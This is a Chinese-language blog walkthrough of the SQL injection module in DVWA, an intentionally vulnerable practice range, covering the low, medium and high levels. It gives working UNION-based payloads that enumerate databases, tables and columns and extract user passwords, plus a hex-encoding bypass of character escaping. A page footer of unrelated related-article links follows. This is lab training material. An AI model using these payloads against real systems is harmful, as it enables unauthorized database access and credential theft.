DVWA是一个用来联系渗透的靶场,其中包含数个漏洞模块,本篇博客向大家简单介绍下SQL注入(SQL Injection)模块三个级别(low/medium/high)的通关步骤

SQL Injection-low级别

SQL注入的low级别需要我们输入用户的ID作为参数,后端的SQL语句根据用户ID查询用户的信息并返回,执行SQL之前并没有过滤,源码如下

我们输入一个正确的用户ID : 1 , 发现输入的参数拼接到了url地址栏中,由此推断,此关卡使用的请求方式为GET请求,我们直接在输入框中构造payload即可,查询到的用户信息回显到了页面中,可以尝试联合注入

接下来测试注入点,输入 1' and true # 使SQL恒成立,页面正常显示了查询到的用户数据,再输入 1' and false # 使SQL恒不成立,页面空显示,即没有查到用户的数据,由此推断出用户输入的参数会影响SQL的语法结构,从而影响SQL的执行结果,即存在SQL注入,并且注入点为单引号字符型注入

确认注入点以后,我们使用联合注入构造payload,获取所有数据库

-1' union select 1,(select group_concat(schema_name)
from information_schema.schemata) #

 获取所有表

-1' union select 1,(select group_concat(table_name)
from information_schema.tables
where table_schema='dvwa') #

获取所有字段

-1' union select 1,(select group_concat(column_name)
from information_schema.columns
where table_schema='dvwa' and table_name='users') #

获取数据

-1' union select 1,(select group_concat(user,password) from dvwa.users) #

SQL Injection-medium中级别

medium级别使用下拉框提交数据,请求方式为POST请求,需要抓包来修改提交的参数

根据输入的用户ID查询用户信息并在页面中回显,有显示位,可以使用联合注入

执行SQL之前,使用mysqli_real_escape_string()函数转译了特殊字符,可以使用Hex()编译绕过,源码如下

使用抓包软件拦截POST请求,修改参数,使用联合注入构造payload,获取所有数据库

-1 union select 1,(select group_concat(schema_name)
from information_schema.schemata) -- a

使用MySQL的Hex函数编译需要查询的表名,并在结果前面加上0x,从而绕过特殊字符转译,获取表

mysql> select Hex('dvwa');

-1 union select 1,(select group_concat(table_name)
from information_schema.tables
where table_schema=0x64767761) -- a

将表名也使用MySQL的Hex()转译,获取所有字段

注意:post请求的内容中不要换行

-1 union select 1,(select group_concat(column_name)
from information_schema.columns
where table_schema=0x64767761 and table_name=0x7573657273) -- a

SQL Injection-hign高级别

hign级别将参数保存到session中,在输入框直接构造payload即可

后端代码从session中获取用户输入的参数,并根据用户ID获取用户信息并回显到页面中,有回显,可以使用联合注入,并且执行SQL之前没有对用户输入的参数进行过滤,源码如下

获取数据库

-1' union select 1,(select group_concat(schema_name)
from information_schema.schemata) #

获取表

-1' union select 1,(select group_concat(table_name)
from information_schema.tables
where table_schema='dvwa') #

获取字段

-1' union select 1,(select group_concat(column_name)
from information_schema.columns
where table_schema='dvwa' and table_name='users') #

DVWA-SQL注入(SQL Injection)低/中/高级别相关推荐

  1. SQL注入(Injection)简介

    SQL注入(Injection)简介 SQL注入(SQL injection),是发生于应用程序与数据库层的安全漏洞.只要是支持处理SQL指令的数据库服务器,都有可能受到此种手法的攻击. SQL注入产 ...

  2. SQL注入-SQL注入的WAF绕过(十六)

    实验目的 普及熟悉利用重写等方式绕过WAF关键字过滤.以实现SQL注入的方法.PS:面试时不要说打WAF靶场什么东西,就说重复大小写编码什么之类的 基本概念 WAF(WebApplicationFir ...

  3. SQL注入——SQL注入漏洞利用(零)(值得收藏)

    一.什么是SQL注入漏洞 攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系 统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后 台数据库 ...

  4. SQL注入/SQL攻击

    SQL注入/SQL攻击 SQL攻击/SQL注入:SQL中出现了特殊符号,改变了意思,因为传输器不好,会产生SQL攻击. 原因是:用户输入特殊符号,非法字符,# 在sql中#是h注释的意思 还有就是st ...

  5. DVWA通关--SQL注入(SQL Injection)

    目录 LOW 通关步骤 一.手工注入 二.sqlmap注入 代码分析 MEDIUM 通关步骤 方法一.手工注入 方法二.sqlmap注入 代码分析 HIGH 通关步骤 方法一.手工注入 方法二.sql ...

  6. DVWA(7)SQL注入(SQL Injection) LOW-HIGHT 操作记录

    今天带来第七期SQL注入操作记录.初次接触DVWA,写下自己的操作记录,希望可以帮助每个刚接触DVWA的新手,同时希望可以提升自己的技术.注:如有操作不当的地方希望可以得到大神指导.交流.也感谢之前查 ...

  7. linux json 写sql注入,sql注入之AJAX(SQL Injection (AJAX/JSON/jQuery))

    sql注入之AJAX(SQL Injection (AJAX/JSON/jQuery)) 0x1 网上搜下没有关于ajax的sql注入文章,这里简单写一下抛砖引玉. 原理自己百度,这里简单说下: 通过 ...

  8. SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  9. php如何防sql注入,如何在PHP中防止SQL注入

    本篇文章将给大家介绍关于PHP中的SQL注入以及使用PHP-MySQLi和PHP-PDO驱动程序防止SQL注入的方法.下面我们来看具体的内容. 简单的SQL注入示例 例如,A有一个银行网站.已为银行客 ...

最新文章

  1. R语言绘制韦恩(venn)图
  2. Python 之 matplotlib (七)Scatter
  3. 寒武纪宣布完成B轮融资 整体估值达25亿美元
  4. esp32摄像显示时间_物联网平台开发难学吗?掌握ESP32帮你1分钟入门
  5. 汇编中Enter和Leave指令
  6. [并发编程] - 操作系统底层工作原理
  7. C语言函数sscanf()的用法
  8. 7.Java中变量的隐式转换以及强类型转换
  9. zookeepr+kafka集群搭建(一)
  10. double处理arithmeticexception为什么不报错_板式换热器为什么冷热不均匀?应怎样检查并简单处理?...
  11. 一个符合SEO优化标准的网站应具备哪些特征?
  12. LeetCode 887. 鸡蛋掉落(DP,难、不懂)
  13. 2002勘察设计收费标准_上海装修设计师的收费标准是什么?
  14. java数组基本用法(数组的声明/初始化及一些常用的数组操作)
  15. 《Oracle从入门到精通》读书笔记第三章 SQL*PLUS命令
  16. 《高等运筹学》复习题手写解答 Advanced Operations Research: Final Exam:Review Exercises
  17. 小学计算机老师实习报告,精选信息技术教师实习报告3篇
  18. 回溯法——最大团问题c
  19. 数学建模(NO.7相关系数—假设检验)
  20. 如何 让 Chrome (谷歌)浏览器 自动翻译

热门文章

  1. docker 基础之数据管理
  2. Linux 驱动面试题总结【转】
  3. unixlinux大学教程学习 第七章
  4. C#中IQueryable和IEnumberable的区别
  5. (转载)Vim入门图解说明
  6. UVa 11044 - Searching for Nessy
  7. 简单的php文件上传实例
  8. 神奇_程序cmd命令窗口运行会自动停止_加解决方案---Linux工作笔记045
  9. AndroidStudio安卓原生开发_Intent传过来的值会自动变化_太奇怪了_你碰见过嘛_Http并发引起的问题?_可通过静态变量传值的方式解决---Android原生开发工作笔记130
  10. 基于Spring Security的认证授权_连接数据库查询权限_Spring Security OAuth2.0认证授权---springcloud工作笔记131